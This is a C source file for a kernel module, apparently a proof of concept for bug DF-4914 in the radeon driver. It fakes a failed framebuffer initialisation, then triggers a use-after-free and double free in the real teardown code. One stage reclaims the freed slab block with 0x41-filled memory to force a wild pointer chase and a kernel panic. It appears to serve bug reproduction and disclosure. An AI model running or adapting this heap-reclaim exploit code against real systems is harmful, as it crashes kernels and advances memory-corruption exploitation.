DF-4914 / rfbuaf.c
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 130 131 132 133 134 135 136 137 138 139 140 141 142 143 144 145 146 147 148 149 150 151 152 153 154 155 156 157 158 159 160 161 162 163 164 165 166 167 168 169 170 171 172 173 174 175 176 177 178 179 180 181 182 183 184 185 186 187 188 189 190 191 192 | /* * DF-4914 PoC โ radeon_fbdev_init() failure leaves rdev->mode_info.rfbdev * dangling; the standard teardown radeon_fbdev_fini() (radeon_modeset_fini, * driver unload / reboot / device unplug) then operates on freed memory and * double-kfrees it (radeon_fb.c:409-416). * * All teardown code driven below (radeon_fbdev_fini -> radeon_fbdev_destroy -> * drm_fb_helper_unregister_fbi / radeonfb_destroy_pinned_object / * drm_fb_helper_fini) is the REAL production code from the loaded radeon.ko * module (stock /boot/kernel/radeon.ko, no radeon GPU present or required). * * Trigger reality note: on real hardware radeon_fbdev_init() fails through * drm_fb_helper_init/-ENOMEM or through drm_fb_helper_initial_config -> * radeonfb_create() (e.g. VRAM exhaustion on small cards during fbcon setup) * and radeon_modeset_init() IGNORES the failure (radeon_display.c:1640), so * the driver carries the dangling pointer until teardown. On the no-GPU QEMU * guest a graceful live failure cannot be produced (the allocators only fail * catastrophically: an oversized kcalloc wedges in M_WAITOK paging), so stage * 1 injects EXACTLY the state a failed radeon_fbdev_init leaves behind โ the * three statements of radeon_fb.c:374-379 (kzalloc rfbdev, store to * rdev->mode_info.rfbdev, drm_fb_helper_prepare) followed by the free: label * (radeon_fb.c:405, kfree without clearing mode_info.rfbdev). * * Stages (write to sysctl hw.rfbuaf): * 1: inject failed-init state; print the dangling rdev->mode_info.rfbdev * (non-NULL although the rfbdev was just kfree()d). No crash. * 2: stage 1 + radeon_fbdev_fini() -> UAF walk of the freed rfbdev and a * double kfree of it; expect kernel panic. * 3: stage 1 + reclaim the freed slab block with a 0x41-filled allocation * + radeon_fbdev_fini() -> radeon_fbdev_destroy follows * fb->obj[0] = 0x4141414141414141 into radeonfb_destroy_pinned_object * -> UAF wild pointer chase; expect kernel panic. */ #include <sys/param.h> #include <sys/kernel.h> #include <sys/module.h> #include <sys/systm.h> #include <sys/malloc.h> #include <sys/sysctl.h> #include <sys/errno.h> #include <drm/drmP.h> #include <drm/drm_crtc.h> #include <drm/drm_fb_helper.h> #include "radeon.h" /* radeon_fbdev_init/fini are declared in the radeon headers */ /* mirror of struct radeon_fbdev (radeon_fb.c:44-48) โ helper is first */ struct poc_radeon_fbdev { struct drm_fb_helper helper; struct drm_framebuffer fb; struct radeon_device *rdev; }; static struct radeon_device *fake_rdev; static struct drm_device *fake_ddev; static int poc_fb_probe(struct drm_fb_helper *helper, struct drm_fb_helper_surface_size *sizes) { return -ENOMEM; } static const struct drm_fb_helper_funcs poc_fb_helper_funcs = { .fb_probe = poc_fb_probe, }; static void setup_fakes(void) { if (fake_rdev) return; fake_ddev = kzalloc(sizeof(*fake_ddev), GFP_KERNEL); fake_rdev = kzalloc(sizeof(*fake_rdev), GFP_KERNEL); fake_rdev->ddev = fake_ddev; /* rdev->mode_info.rfbdev == NULL, rdev->family == 0, mc zeroed */ } /* * Reproduce the exact post-failure state of radeon_fbdev_init() * (radeon_fb.c:357-406 error path): * 374: rfbdev = kzalloc(sizeof(struct radeon_fbdev), GFP_KERNEL); * 378: rfbdev->rdev = rdev; * 379: rdev->mode_info.rfbdev = rfbdev; <-- stored BEFORE any failure * 381: drm_fb_helper_prepare(rdev->ddev, &rfbdev->helper, funcs); * 405: kfree(rfbdev); <-- free: label, NO NULL-clear */ static int stage1(void) { struct poc_radeon_fbdev *rfb; setup_fakes(); fake_rdev->mode_info.rfbdev = NULL; /* fresh run */ rfb = kzalloc(sizeof(*rfb), GFP_KERNEL); /* :374 */ rfb->rdev = fake_rdev; /* :378 */ fake_rdev->mode_info.rfbdev = (struct radeon_fbdev *)rfb; /* :379 */ drm_fb_helper_prepare(fake_rdev->ddev, &rfb->helper, &poc_fb_helper_funcs); /* :381 */ kfree(rfb); /* :405 free: label โ mode_info.rfbdev DANGLING */ kprintf("DF-4914: injected failed-init state (radeon_fb.c:374-405):\n" " rdev->mode_info.rfbdev = %p โ kfree()d block still recorded " "(dangling)\n", fake_rdev->mode_info.rfbdev); return (fake_rdev->mode_info.rfbdev != NULL) ? 0 : -1; } static int sysctl_run(SYSCTL_HANDLER_ARGS) { int stage = 0, error; error = sysctl_handle_int(oidp, &stage, 0, req); if (error || req->newptr == NULL) return (error); switch (stage) { case 1: stage1(); break; case 2: if (stage1() != 0) { kprintf("DF-4914: stage1 precondition failed\n"); break; } kprintf("DF-4914: calling production radeon_fbdev_fini() " "(radeon_modeset_fini teardown) on the dangling pointer" "...\n"); radeon_fbdev_fini(fake_rdev); /* UAF walk + double kfree */ kprintf("DF-4914: fini returned (no panic?)\n"); break; case 3: { void *p = NULL; int i; if (stage1() != 0) { kprintf("DF-4914: stage1 precondition failed\n"); break; } for (i = 0; i < 64; i++) { p = kzalloc(sizeof(struct poc_radeon_fbdev), GFP_KERNEL); if (p == (void *)fake_rdev->mode_info.rfbdev) break; } kprintf("DF-4914: reclaim attempt: %p (dangling %p, %s)\n", p, fake_rdev->mode_info.rfbdev, p == (void *)fake_rdev->mode_info.rfbdev ? "RECLAIMED" : "miss"); if (p != (void *)fake_rdev->mode_info.rfbdev) break; memset(p, 0x41, sizeof(struct poc_radeon_fbdev)); ((struct poc_radeon_fbdev *)p)->helper.fbdev = NULL; kprintf("DF-4914: reclaimed block 0x41-filled " "(fb.obj[0]=0x4141414141414141); production fini -> " "radeonfb_destroy_pinned_object wild chase\n"); radeon_fbdev_fini(fake_rdev); /* UAF wild pointer chase */ kprintf("DF-4914: fini returned (no panic?)\n"); break; } default: kprintf("DF-4914: unknown stage %d (1=dangling, 2=double-free," " 3=reclaim+UAF)\n", stage); break; } return (0); } static int rfbuaf_modevent(module_t mod, int type, void *data) { switch (type) { case MOD_LOAD: SYSCTL_ADD_OID(NULL, SYSCTL_STATIC_CHILDREN(_hw), OID_AUTO, "rfbuaf", CTLTYPE_INT|CTLFLAG_RW, NULL, 0, sysctl_run, "I", "DF-4914 stage trigger (1/2/3)"); kprintf("DF-4914 PoC loaded; sysctl hw.rfbuaf=1|2|3\n"); return 0; case MOD_UNLOAD: return 0; } return 0; } static moduledata_t rfbuaf_mod = { "rfbuaf", rfbuaf_modevent, NULL }; DECLARE_MODULE(rfbuaf, rfbuaf_mod, SI_SUB_DRIVERS, SI_ORDER_ANY); MODULE_VERSION(rfbuaf, 1); |